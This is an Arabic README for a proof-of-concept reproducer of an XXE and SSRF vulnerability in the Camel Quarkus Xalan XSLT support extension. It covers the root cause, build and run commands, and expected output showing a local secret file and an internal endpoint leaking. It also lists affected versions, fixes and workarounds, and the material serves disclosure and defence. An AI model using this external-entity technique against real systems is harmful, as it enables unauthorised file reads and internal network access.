
مُعيد إنتاج إثبات مفهوم قابل للتشغيل لـ CVE-2026-88789، يوضح XXE و SSRF في Apache Camel Quarkus camel-quarkus-support-xalan عبر XSLT TransformerFactory.
TransformerFactory الخاص بـ Xalan يُسقط قيود الوصول الخارجي الخاصة بـ JAXPمُعيد إنتاج عملي قابل للتشغيل (proof-of-concept) لثغرة Apache Camel Quarkus حيث أن امتداد دعم XSLT
(camel-quarkus-support-xalan) يوفّر TransformerFactory الخاص به المدعوم بـ Xalan لمكوّن xslt
ويسجّله كافتراضي في JAXP. إن Xalan-J 2.7.x يسبق JAXP 1.5 ولا يمكنه احترام
javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD أو ACCESS_EXTERNAL_STYLESHEET — إذ يرمي setAttribute()
استثناء IllegalArgumentException لكليهما — لذا فإن قيود الوصول الخارجي التي يطبّقها Apache Camel على
TransformerFactory الذي ينشئه لم تكن سارية المفعول قط.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.36.0 (Quarkus 3.36.0, Camel 4.20.0) |
Camel Quarkus فقط. الكود المصاب هو امتداد Camel Quarkus، وليس مكوّن Camel. يستخدم Camel العادي وCamel Spring Boot تطبيق
TransformerFactoryالخاص بـ JDK، والذي يحترم كلا الخاصيتين، لذا لا يوجد شيء لإعادة إنتاجه هناك — ولهذا لا يحتوي هذا المستودع على نسخةcamel-spring-boot/.
يمكن للمهاجم الذي يوفّر مستند XML الذي تتم معالجته أن يقرأ ملفات محلية أو يصل إلى مواقع شبكة داخلية عبر إعلان كيان خارجي (external entity) في ذلك المستند.
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
المخرجات المتوقعة على بناء مصاب (مختصرة — يشغّل السائق ستة اختبارات، انظر
camel-quarkus/README.md):
1) xslt endpoint, body is a StreamSource, external entity -> file:///tmp/cve-2026-88789-secrets/db-password.txt
transformation result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the output: true
2) xslt endpoint, body is a StreamSource, external entity -> http://127.0.0.1:8080/internal/secret
transformation result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the output: true
4) CONTROL - same document as a String body (Camel converts it to a SAXSource itself)
transformation result: []
local file contents in the output: false
5) TransformerFactory.newInstance() anywhere in the application
factory: org.apache.camel.quarkus.support.xalan.XalanTransformerFactory
setAttribute(ACCESS_EXTERNAL_DTD, ""): REFUSED, IllegalArgumentException: ...
identity transform of the same document: [... <data>db.password=LOCAL-FILE-s3cr3t-99</data> ...]
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
تم التحقق منها مقابل Camel Quarkus 3.40.0 أيضًا: كل اختبار مُسرِّب يصمت، ونقاط النهاية الداخلية
لا تتلقى أي طلبات على الإطلاق، ويطبع السائق NOT reproduced.
على مسار مكوّن xslt، تتأثر فقط الأجسام التي تصل إلى المحوّل بالفعل كـ javax.xml.transform.Source.
أما الأجسام من أنواع أخرى — String، byte[]، InputStream — فيحوّلها Apache Camel إلى SAXSource
مع تعطيل الكيانات الخارجية وتحميل DTD الخارجي، وهي غير متأثرة. الاختبار 4 في مُعيد الإنتاج هو ذلك
المسار الآمن، جنبًا إلى جنب مع المسار غير الآمن.
ولأن المصنع مسجّل أيضًا كـ افتراضي في JAXP (يشحن امتداد الدعم
META-INF/services/javax.xml.transform.TransformerFactory)، فإن أي كود آخر في التطبيق يحصل على مصنع
عبر TransformerFactory.newInstance() يفقد نفس القيود، دون خطأ. ولهذا يسرد التنبيه امتدادات لا تحوّل
أي شيء بنفسها:
| Extension | Exposure |
|---|---|
camel-quarkus-xslt | مسار مكوّن xslt و الافتراضي في JAXP |
camel-quarkus-xslt-saxon | الافتراضي في JAXP |
camel-quarkus-tika | الافتراضي في JAXP |
camel-quarkus-xmlsecurity | الافتراضي في JAXP |
| Property | Value |
|---|---|
| Component | camel-quarkus-support-xalan (امتداد دعم XSLT) |
| CWE | CWE-611 (تقييد غير صحيح لمرجع الكيان الخارجي في XML) |
| Severity | High |
| Attack vector | كيان خارجي أو DTD خارجي مُعلن في مستند XML الذي تتم معالجته، حيث يصل الجسم إلى نقطة نهاية xslt بالفعل كـ javax.xml.transform.Source |
| Impact | قراءة ملفات محلية؛ إصدار طلبات إلى مواقع شبكة داخلية (SSRF) |
| Affected Versions | من 3.2.0 قبل 3.33.3، من 3.34.0 قبل 3.40.0 |
| Fixed Versions | 3.33.3 (مسار LTS)، 3.40.0 |
| GitHub issue | apache/camel-quarkus#9115 |
| Credit | تم اكتشافها عبر تحليل داخلي، باستخدام Claude Security Tool |
التنبيه: https://camel.apache.org/security/CVE-2026-88789.html
يطبّق XalanTransformerFactory الآن القيود بنفسه بدلًا من الاعتماد على خصائص لا يستطيع Xalan احترامها:
XMLReader لا يحلّ الكيانات العامة الخارجية ولا كيانات
المعاملات الخارجية ولا يحمّل DTDs خارجية — وهو نفس التكوين الذي يستخدمه
XmlConverter.createSAXParserFactory() في Apache Camel للأجسام التي يحوّلها camel-xslt إلى
SAXSource بنفسه. ويُستخدم SAXSource الذي يحمل XMLReader مُهيّأً من المستدعي كما هو، بينما
DOMSource وStAXSource محلولان بالفعل.document() ما لم يحلّها URIResolver الخاص
بالتطبيق، ويُثبَّت القيد على كل نقطة دخول تسلّم شيئًا للتحويل به، بما في ذلك نقاط دخول دفع SAX التي
لا ينسخ Xalan محلّل المصنع إليها. أما التطبيقات التي تضبط محلّلها الخاص — ويفعل camel-xslt ذلك على
كل تبادل — فتبقى تتجاوزه كما كان من قبل.تم الإصلاح على main في
9a570b64 و
9dd11779،
مع نقل عكسي إلى 3.33.x في
ad9c5236 و
3d886769.
javax.xml.transform.Source مبنيًا من مدخلات غير موثوقة إلى نقطة نهاية xslt. اترك جسم
الرسالة كـ String أو byte[] أو InputStream حتى يحوّله Apache Camel إلى SAXSource مع تعطيل
الكيانات الخارجية أولًا.convertBodyTo على جسم Source موجود ليس حلًا بديلًا: فهذا التحويل ينفّذ تحويل هوية (identity
transform) عبر نفس المصنع. الاختبار 5 في مُعيد الإنتاج هو ذلك التحويل الهوية، وهو يُسرّب.com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl، بدلًا من الاعتماد على
TransformerFactory.newInstance(). الاختبار 6 هو ذلك الضابط، وهو يرفض القراءة.نُشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Camel Quarkus على فهم الثغرة، والتحقق مما إذا كانوا متأثرين، وتأكيد أن الترقية تحلّها. لا تستخدم هذه المواد ضد أنظمة لا تملكها أو لا تديرها.